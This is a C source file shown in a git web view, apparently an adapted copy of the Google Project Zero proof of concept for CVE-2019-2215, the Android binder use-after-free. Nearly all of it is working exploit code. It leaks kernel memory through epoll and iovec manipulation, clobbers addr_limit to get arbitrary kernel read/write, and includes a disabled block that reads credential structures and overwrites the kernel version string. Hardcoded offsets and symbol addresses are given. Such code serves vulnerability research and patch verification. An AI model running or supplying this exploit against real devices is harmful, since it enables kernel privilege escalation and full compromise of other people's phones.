better search for thread_info
[cve2019-2215-3.18.git] / poc98.c
blob7eea15d18c291c966500a30811aff541b520a816
1 // writes xs
2 /*
3 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
4 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
6 * Jann Horn & Maddie Stone of Google Project Zero
8 * 3 October 2019
9 */
11 #define _GNU_SOURCE
12 #include <time.h>
13 #include <stdbool.h>
14 #include <sys/mman.h>
15 #include <sys/wait.h>
16 #include <ctype.h>
17 #include <sys/uio.h>
18 #include <err.h>
19 #include <sched.h>
20 #include <fcntl.h>
21 #include <sys/epoll.h>
22 #include <sys/ioctl.h>
23 #include <unistd.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <linux/sched.h>
27 #include <string.h>
28 #include <sys/prctl.h>
29 #include <sys/socket.h>
30 #include <sys/un.h>
31 #include <errno.h>
33 #define LEAK_AMOUNT 4096
35 #define OFFSET__task_struct__mm 0x520
36 #define MIN(x,y) ((x)<(y) ? (x) : (y))
37 #define MAX(x,y) ((x)>(y) ? (x) : (y))
39 #define BINDER_SET_MAX_THREADS 0x40046205ul
40 #define BINDER_THREAD_EXIT 0x40046208ul
41 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
42 #define BINDER_THREAD_SZ 0x188
43 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
44 #define WAITQUEUE_OFFSET (0x98)
45 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
46 #define UAF_SPINLOCK 0x10001
47 #define PAGE 0x1000
49 unsigned long kernel_read_ulong(unsigned long kaddr);
51 void hexdump_memory(void *_buf, size_t byte_count) {
52 unsigned char* buf = _buf;
53 unsigned long byte_offset_start = 0;
54 if (byte_count % 16)
55 errx(1, "hexdump_memory called with non-full line");
56 for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
57 byte_offset += 16) {
58 char line[1000];
59 char *linep = line;
60 linep += sprintf(linep, "%08lx ", byte_offset);
61 for (int i=0; i<16; i++) {
62 linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
64 linep += sprintf(linep, " |");
65 for (int i=0; i<16; i++) {
66 char c = buf[byte_offset + i];
67 if (isalnum(c) || ispunct(c) || c == ' ') {
68 *(linep++) = c;
69 } else {
70 *(linep++) = '.';
73 linep += sprintf(linep, "|");
74 puts(line);
78 int epfd;
80 void *dummy_page_4g_aligned;
81 unsigned long current_ptr;
82 int binder_fd;
84 void leak_data(void* leakBuffer, int leakAmount)
86 int dataBufferSize = MAX(UAF_SPINLOCK+leakAmount, PAGE);
87 char* dataBuffer = malloc(dataBufferSize); // TODO: free me!
88 if (dataBuffer == NULL) err(1, "allocating dataBuffer");
89 memset(dataBuffer, 0, dataBufferSize);
90 struct epoll_event event = { .events = EPOLLIN };
92 int max_threads = 2;
93 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
94 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
96 struct iovec iovec_array[IOVEC_ARRAY_SZ];
98 memset(iovec_array, 0, sizeof(iovec_array));
100 printf("dataBuffer = %lx\n", (unsigned long)dataBuffer);
102 iovec_array[IOVEC_INDX_FOR_WQ-1].iov_base = dataBuffer;
103 iovec_array[IOVEC_INDX_FOR_WQ-1].iov_len = PAGE;
104 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dataBuffer;
105 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */
106 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = dataBuffer; /* wq->task_list->next */
107 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = leakAmount; /* wq->task_list->prev */
108 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dataBuffer; // (void*)0xDEADBEEF; // we shouldn't get to here
109 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK;
111 int b;
113 int pipefd[2];
114 int leakPipe[2];
115 if (pipe(pipefd)) err(1, "pipe");
116 if (pipe(leakPipe)) err(2, "pipe");
117 if (fcntl(pipefd[0], F_SETPIPE_SZ, PAGE) != PAGE) err(1, "pipe size");
119 pid_t fork_ret = fork();
120 if (fork_ret == -1) err(1, "fork");
121 if (fork_ret == 0){
122 /* Child process */
123 prctl(PR_SET_PDEATHSIG, SIGKILL);
124 sleep(1);
125 printf("CHILD: Doing EPOLL_CTL_DEL.\n");
126 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
127 printf("CHILD: Finished EPOLL_CTL_DEL.\n");
128 // first page: dummy data
129 printf("CHILD: initial page\n");
130 if (read(pipefd[0], dataBuffer, PAGE) != PAGE) err(1, "read first page from pipe");
131 printf("CHILD: dummy data\n");
132 if (read(pipefd[0], dataBuffer, UAF_SPINLOCK) != UAF_SPINLOCK) err(1, "read dummy data from pipe");
133 printf("CHILD: leak data\n");
134 if (read(pipefd[0], dataBuffer, leakAmount) != leakAmount) err(1, "leaking");
135 close(pipefd[1]);
136 write(leakPipe[1], dataBuffer, leakAmount);
137 printf("CHILD: Finished write to FIFO.\n");
138 exit(0);
140 printf("PARENT: Calling WRITEV\n");
141 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
142 b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
143 printf("writev() returns 0x%x\n", (unsigned int)b);
144 if (b != PAGE + leakAmount + UAF_SPINLOCK)
145 err(1, "writev() returned wrong value");
146 // leaked data
147 // printf("PARENT: Reading leaked data\n");
148 if (read(leakPipe[0], leakBuffer, leakAmount) != leakAmount) err(1, "reading leak");
150 int status;
151 if (wait(&status) != fork_ret) err(1, "wait");
153 free(dataBuffer);
155 printf("PARENT: Done with leaking\n");
158 unsigned long iovec_length(struct iovec* iov) {
159 unsigned long l=0;
160 for (int i=0;i<IOVEC_ARRAY_SZ;i++)
161 l += iov[i].iov_len;
162 return l;
165 void clobber_addr_limit(void)
167 int dataBufferSize = MAX(UAF_SPINLOCK, PAGE)+1;
168 char* dataBuffer = malloc(dataBufferSize); // TODO: free me!
169 if (dataBuffer == NULL) err(1, "allocating dataBuffer");
170 memset(dataBuffer, 1, dataBufferSize);
172 char* uafFill = malloc(UAF_SPINLOCK);
173 if (uafFill == NULL) err(1, "allocating uafFill");
174 memset(uafFill, 0xC4, UAF_SPINLOCK);
176 struct epoll_event event = { .events = EPOLLIN };
177 int max_threads = 2;
178 ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
179 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
181 unsigned long testDatum = 12;
182 struct iovec iovec_array[IOVEC_ARRAY_SZ];
183 memset(iovec_array, 0, sizeof(iovec_array));
185 unsigned long second_write_chunk[] = {
186 (unsigned long)dataBuffer, /* iov_base (currently in use) */ // wq->task_list->next
187 0x50, /* iov_len (currently in use) */ // wq->task_list->prev
189 current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
190 8, /* next iov_len (sizeof(addr_limit)) */
192 current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
193 8, /* next iov_len (sizeof(addr_limit)) */
198 0xfffffffffffffffe,
199 0xfffffffffffffffe, /* value to write over addr_limit */
202 printf("size %x\n", (int)sizeof(second_write_chunk));
204 iovec_array[IOVEC_INDX_FOR_WQ-1].iov_base = dataBuffer;
205 iovec_array[IOVEC_INDX_FOR_WQ-1].iov_len = 1;
206 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dataBuffer;
207 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK
208 iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base = dataBuffer; // wq->task_list->next: will turn to address of task_list
209 iovec_array[IOVEC_INDX_FOR_WQ+1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to address of task_list
210 iovec_array[IOVEC_INDX_FOR_WQ+2].iov_base = &testDatum; // dataBuffer;
211 iovec_array[IOVEC_INDX_FOR_WQ+2].iov_len = 8;
212 iovec_array[IOVEC_INDX_FOR_WQ+3].iov_base = &testDatum; // dataBuffer;
213 iovec_array[IOVEC_INDX_FOR_WQ+3].iov_len = 8;
214 iovec_array[IOVEC_INDX_FOR_WQ+4].iov_base = dataBuffer;
215 iovec_array[IOVEC_INDX_FOR_WQ+4].iov_len = UAF_SPINLOCK;
216 int totalLength = iovec_length(iovec_array);
218 int socks[2];
219 if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
221 write(socks[1], "x", 1);
222 pid_t fork_ret = fork();
223 if (fork_ret == -1) err(1, "fork");
224 if (fork_ret == 0){
225 /* Child process */
226 prctl(PR_SET_PDEATHSIG, SIGKILL);
227 sleep(1);
228 printf("CHILD: Doing EPOLL_CTL_DEL.\n");
229 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
230 printf("CHILD: Finished EPOLL_CTL_DEL.\n");
232 printf("CHILD: Writing UAF dummy\n");
233 write(socks[1], uafFill, UAF_SPINLOCK);
234 write(socks[1], second_write_chunk, sizeof(second_write_chunk));
235 //write(socks[1], third_write_chunk, sizeof(third_write_chunk));
236 close(socks[1]);
237 close(socks[0]);
238 exit(0);
239 err(1, "write dummy data");
241 sleep(1);
242 printf("CHILD: Writing second chunk\n");
243 if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
244 err(1, "write second chunk to socket");
246 sleep(1);
247 printf("CHILD: Writing third chunk\n");
248 //if (write(socks[1], third_write_chunk, sizeof(third_write_chunk)) != sizeof(third_write_chunk))
249 // err(1, "write third chunk to socket");
251 printf("CHILD: done\n");
252 close(socks[1]);
253 //close(socks[0]);
254 exit(0);
256 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
257 struct msghdr msg = {
258 .msg_iov = iovec_array,
259 .msg_iovlen = IOVEC_ARRAY_SZ
261 int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
262 /* struct mmsghdr mmsg;
263 mmsg.msg_hdr.msg_iov = iovec_array;
264 mmsg.msg_hdr.msg_iovlen = IOVEC_ARRAY_SZ;
265 mmsg.msg_len = totalLength;
266 struct timespec timeout;
267 timeout.tv_sec = 10;
268 timeout.tv_nsec = 0;
269 int recvmsg_result = recvmmsg(socks[0], &mmsg, 1, MSG_WAITALL, &timeout); */
271 printf("PARENT: testDatum = %lx\n", testDatum);
272 hexdump_memory(dataBuffer, 16);
273 hexdump_memory(dataBuffer+UAF_SPINLOCK-16, 16);
275 printf("recvmsg() returns %d, expected %d\n", recvmsg_result,
276 totalLength);
277 sleep(2);
278 unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
279 printf("current->mm == 0x%lx\n", current_mm);
282 int kernel_rw_pipe[2];
283 void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
284 errno = 0;
285 if (len > PAGE) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
286 if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
287 if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
289 void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
290 errno = 0;
291 if (len > PAGE) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
292 if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) errx(1, "kernel_read failed to read kernel memory at 0x%lx", (unsigned long)kaddr);
293 if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
295 unsigned long kernel_read_ulong(unsigned long kaddr) {
296 unsigned long data;
297 kernel_read(kaddr, &data, sizeof(data));
298 return data;
300 void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
301 kernel_write(kaddr, &data, sizeof(data));
303 void kernel_write_uint(unsigned long kaddr, unsigned int data) {
304 kernel_write(kaddr, &data, sizeof(data));
307 // Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
308 // data from `pahole` on my own build with the same .config
309 #define OFFSET__task_struct__mm 0x520
310 #define OFFSET__task_struct__cred 0x790
311 #define OFFSET__mm_struct__user_ns 0x300
312 #define OFFSET__uts_namespace__name__version 0xc7
313 // SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
314 #define SYMBOL__init_user_ns 0x202f2c8
315 #define SYMBOL__init_task 0x20257d0
316 #define SYMBOL__init_uts_ns 0x20255c0
318 int main(int argc, char** argv) {
319 printf("Starting POC\n");
320 //pin_to(0);
322 /* dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
323 if (dummy_page_4g_aligned != (void*)0x100000000UL)
324 err(1, "mmap 4g aligned"); */
325 if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
327 binder_fd = open("/dev/binder", O_RDONLY);
328 epfd = epoll_create(1000);
329 int leakSize = argc < 2 ? 4096 : atoi(argv[1]);
330 printf("Leak size %d\n", leakSize);
331 unsigned char* leaked = malloc(leakSize);
332 if (leaked == NULL) err(1, "Allocating leak buffer");
333 leak_data(leaked, leakSize);
334 hexdump_memory(leaked, leakSize);
335 if (leakSize >= 8) {
336 printf("tasklist = %lx\n", *(unsigned long *)leaked);
338 if (leakSize >= 0xe8 + 0x8) {
339 memcpy(&current_ptr, leaked+0xe8, 8);
340 printf("current_ptr = %lx\n", (unsigned long)current_ptr);
341 //printf("Clobbering addr_limit\n");
342 //clobber_addr_limit();
344 free(leaked);
346 #if 0 // TODO
347 clobber_addr_limit();
349 setbuf(stdout, NULL);
350 printf("should have stable kernel R/W now\n");
352 /* in case you want to do stuff with the creds, to show that you can get them: */
353 unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
354 printf("current->mm == 0x%lx\n", current_mm);
355 unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
356 printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
357 unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
358 printf("kernel base is 0x%lx\n", kernel_base);
359 if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
360 unsigned long init_task = kernel_base + SYMBOL__init_task;
361 printf("&init_task == 0x%lx\n", init_task);
362 unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
363 printf("init_task.cred == 0x%lx\n", init_task_cred);
364 unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
365 printf("current->cred == 0x%lx\n", my_cred);
367 unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
368 char new_uts_version[] = "EXPLOITED KERNEL";
369 kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
370 #endif